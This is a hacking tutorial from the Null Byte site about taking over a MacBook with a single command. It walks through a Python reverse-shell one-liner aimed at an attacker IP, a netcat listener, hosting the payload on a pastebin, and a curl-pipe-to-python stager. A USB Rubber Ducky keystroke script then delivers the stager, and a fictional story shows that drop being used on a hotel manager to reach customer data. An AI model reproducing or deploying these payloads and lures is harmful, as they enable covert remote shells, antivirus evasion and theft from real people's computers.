Hacking macOS: How to Use One Python Command to Bypass Antivirus Software in 5 Seconds « Null Byte :: WonderHowTo

The misconception thatmacOSis more secure than theWindowsoperating system is far from the truth. With just one small command, a hacker can completely take over aMacBookand control it remotely.The sheer volume of Windows computers currently in operation around the world makes hacking them a lucrative venture for malware developers and bug hunters looking to cash-in on Windows 10zero-day exploits. Thus, there is a lot more news surrounding Windows 10 exploitation, even though macOS can be just as vulnerable.When it comes to Mac pwning, one-liner payloads simply create a connection to a MacBook which allows an attacker to run commands remotely. An experienced Python coder could easily compose a sophisticated script to exfiltrate sensitive data,record audio through the mic in real time,stream the desktop and spy on the target, or automatically perform avariety of post-exploitation attacks.For this new mini-series in ourHacking macOScollection, I'll feature multiple one-liner commands to hack macOS. Here's just one command capable of creating a backdoor and evading antivirus software in the process:import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("1.2.3.4",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);This Python command won't be flagged as malicious or suspicious by the macOS firewall (with "Block all incoming connections" enabled) or antiviruses likeAVGandAvast, because Python isn't avirus. Python is one of several technologies built-in to the macOS operating system being abused much like howPowerShell, a legitimate tool designed for Windows administrators, is abused by hackers.Don't Miss:How to Use Netcat, the Swiss Army Knife of Hacking ToolsThe Python command is a bit lengthy, so I'll show how to work long commands and complex payloads into a real hack with a fictional example of how this could work in the real world.Step 1: Start the Netcat ServerSetup Netcat (nc) to listen (-l) for new incoming connections on port (-p)8080. Netcat will start listening on every available interface.nc -l -p 8080Step 2: Save the PayloadThen, save the below Python code as a file calledpayload.py. This can be done usingnanoor a preferred text editor.import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("1.2.3.4",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);If the command is run on a remote MacBook where avirtual private server(VPS) is in use, be sure to change the attacker's IP address (1.2.3.4) to the server IP. For local networks where the attacker's system is on the same Wi-Fi network as the MacBook, Netcat will be reachable using the attacker's local IP address (e.g., 192.168.1.18). The port number (8080) can be changed to anythingbetween 1024 and 65535.Step 3: Upload the Payload to a PastebinUpload the Python code to a Pastebin. I preferPb, a command line-based Pastebin because the domain name is very short and it features the ability to manually name the pastes. For example, if I wanted to upload a Python script, I would use the below cURL command.cat payload.py | curl -F c=@- https://ptpb.pw/~PasteNameHereHere, I'm usingcatto read the Python file and directing it (|) to the cURL command which takes the data (-F c=@-) and sends it to the pb server with the URI "PasteNameHere." The Pastebin will then print data in the terminal confirming the paste was created.cat payload.py | curl -F c=@- https://ptpb.pw/~PasteNameHere

digest: a1a045f5546347f5cbf0181328ce4d77550f6ff7
label: ~PasteNameHere
long: AKGgRfVUY0f1y_AYEyjOTXdVD2_3
short: D2_3
size: 7938
status: created
url: https://ptpb.pw/~PasteNameHere
uuid: xxxxxxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxxSimply visiting the URL now from any web browser will show the Python payload. The paste name can be anything. If I wanted to create a paste using my username, I would use the below command.cat payload.py | curl -F c=@- https://ptpb.pw/~tokyoneonStep 4: Hack All the MacBooksFrom here on out, any MacBook can be hacked using the below command. It's a fairly easy command to commit to memory. The cURL command will download the paste (stager) containing the Python code and execute as a background process.curl ptpb.pw/~tokyoneon | python - &Social Engineering AttacksThe real challenge is thesocial engineeringaspect of an attack.How does a hacker trick someone into running malicious code?Well, I had some fun this weekend and composed a simple scenario in the form of a short story which may help illustrate a practical use for hacking macOS using a single command.While this story is completely fictional and hypothetical, I did test the featured attack against macOS High Sierra whereAvast(orAVG) was installed. All of the characters were named afternotorious hackers.The Hotel Manager & the Rubber DuckyA hacker wanted access to a high-end hotel database that contained private customer information. To get closer to the hotel staff and their internal networks, the hacker decided to spend an evening at the hotel under the alias "Nathalie Nahai."Nathalie entered the hotel and didn't know it yet, but the normal receptionist was out sick that particular evening. This meant the assistant manager of the building acted as the concierge for several hours. After approaching the receptionist's desk in the lobby, Nathalie saw the concierge's nametag, which read: "Manager: Christopher Hadnagy." It had the hotel logo beside it."Good evening, and welcome to Hacked Hotel! How can I help you this evening?" exclaimed Christopher with a radiant smile."Hey, Chris," said Nathalie, abbreviating his full name in an effort to create an informal tone to their conversation. "I'd like to book a room for the night."As Christopher was beginning the new customer registration process on the touchscreen point-of-sale (PoS) kiosk, Natalie saw an open MacBook on the receptionist's desk. "Oh, is that the latest MacBook model?" Natalie asked, phishing for information and inconspicuously searching through her wallet for the USB Rubber Ducky labeled "macOS." TheUSB Rubber Duckypayload was designed to create a backdoor that would give her remote access to the MacBook.Don't Miss:Null Byte's Guides on Hacking with a USB Rubber DuckyDELAY 1500
GUI SPACE
DELAY 350
STRING terminal
DELAY 100
ENTER
DELAY 1000
STRING curl ptpb.pw/~tokyoneon | python - &
ENTER
GUI q"No, not quite," he said with a chuckle. "It's an older one I use for work, but I've been meaning to upgrade. He then interrupted himself with: "What kind of room will you need tonight?""Hmm, what are my options?" asked Natalie, concealing the macOS USB Rubber Ducky in the palm of her hand, hoping for an opportunity to insert it into the manager's MacBook."Well, our rooms start at $425 a night. That's one queen-sized bed, one bathroom, and includes breakfast, access to our pool ...." The manager recited the features and benefits included in the hotel's various packages and deals. To create an opportunity to insert the USB Rubber Ducky into the MacBook, Natalie asked, "Would you happen to have a brochure or pamphlet with all the options? You see, my mom's flying into town this evening, and I want to make sure we're comfortable.""Of course," Christopher replied reaching the side of the desk for a brochure. "Oh, actually, it looks like we're all out. Give me just a sec; I'll grab some more from the back office."The manager dashed out from behind the receptionist desk and entered the locked room a few feet away. Natalie reached over the desk, inserted the USB payload into the MacBook that was nearly out of arm's length. A terminal window popped open just two seconds after inserting the USB Rubby Ducky, and the light on the USB changed from red to green, indicating the keystroke injection was complete.Nathalie pulled the USB Rubby Ducky from the MacBook and tried to look casual. A few seconds later, Christopher returned from the back office with a handful of brochures."Here's one brochure for you and one for your mom," he said with a smile.Stay Tuned for More One-Liner Payloads ...This is just one fictional example of how someone could pwn a MacBook or Mac desktop computer with a simple command. There are many more instances where an attacker could gain access to a Mac to deliver a payload unsuspectingly. In upcoming articles, I'll show how to use lesser-known programs that are built into macOS to create backdoors into the MacBook.Don't Miss:How to Configure a Backdoor on Anyone's MacBookFollow Null Byte onTwitter,Flipboard, andYouTubeFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image byNegative Space/PEXELS; Screenshots by tokyoneon/Null ByteRelatedHacking macOS:How to Create an Undetectable PayloadHacking macOS:How to Use One Tclsh Command to Bypass Antivirus ProtectionsHow To:The Ultimate Guide to Hacking macOSHacking macOS:How to Hack a MacBook with One Ruby CommandHow To:Use MSFconsole's Generate Command to Obfuscate Payloads & Evade Antivirus DetectionHacking macOS:How to Create a Fake PDF Trojan with AppleScript, Part 1 (Creating the Stager)Hacking macOS:How to Perform Privilege Escalation, Part 2 (Password Phishing)How To:Here's Why You Need to Add Python to Your Hacking & Programming ArsenalHow To:Bypass Antivirus Software by Obfuscating Your Payloads with GraffitiHacking macOS:How to Bypass the LuLu Firewall with Google Chrome DependenciesHacking macOS:How to Hack a Mac Password Without Changing ItHack Like a Pro:How to Change the Signature of Metasploit Payloads to Evade Antivirus DetectionHacking macOS:How to Install a Persistent Empire Backdoor on a MacBookHacking macOS:How to Dump Passwords Stored in Firefox Browsers RemotelyHacking macOS:How to Hide Payloads Inside Photo MetadataHow To:Use the USB Rubber Ducky to Disable Antivirus Software & Install RansomwareHacking macOS:How to Sniff Passwords on a Mac in Real Time, Part 1 (Packet Exfiltration)Hack Like a Pro:How to Bypass Antivirus Software by Disguising an Exploit's SignatureHow To:Dump a MacOS User's Chrome Passwords with EvilOSXHow To:Bypass Gatekeeper & Exploit macOS 10.14.5 & EarlierHow To:Null Byte & Null Space Labs Present: Wi-Fi Hacking, MITM Attacks & the USB Rubber DuckyHow To:Use variables and strings when programming in Python 2How To:Identify Antivirus Software Installed on a Target's Windows 10 PCHacking macOS:How to Perform Situational Awareness Attacks, Part 2 (Finding Files, History & USB Devices)How To:Hack UnrealIRCd Using Python Socket ProgrammingHacking Windows 10:How to Break into Somebody's Computer Without a Password (Exploiting the System)Hacking macOS:How to Configure a Backdoor on Anyone's MacBookHacking Windows 10:How to Capture Keystrokes & Passwords RemotelyMac for Hackers:How to Install the Metasploit FrameworkCommunity Byte:Coding a Web-Based Password Cracker in PythonHow To:Bypassing School Security (White-Hat)News:Half a Million Macs Affected by Flashback Trojan! Eradicate It Before It's Too LateLockdown:The InfoSecurity Guide to Securing Your Computer, Part IHow To:Make a Gmail Notifier in PythonNews:Learning Python 3.x as I go (Last Updated 6/72012)How To:Shorten URLs from the Command Line with PythonHow To:Enable Code Syntax Highlighting for Python in the Nano Text EditorPygame:All You Need to Start Making Games in PythonGoodnight Byte:Hack Our IRC Bot to Issue CommandsHow To:Code Your Own Twitter Client in Python Using OAuth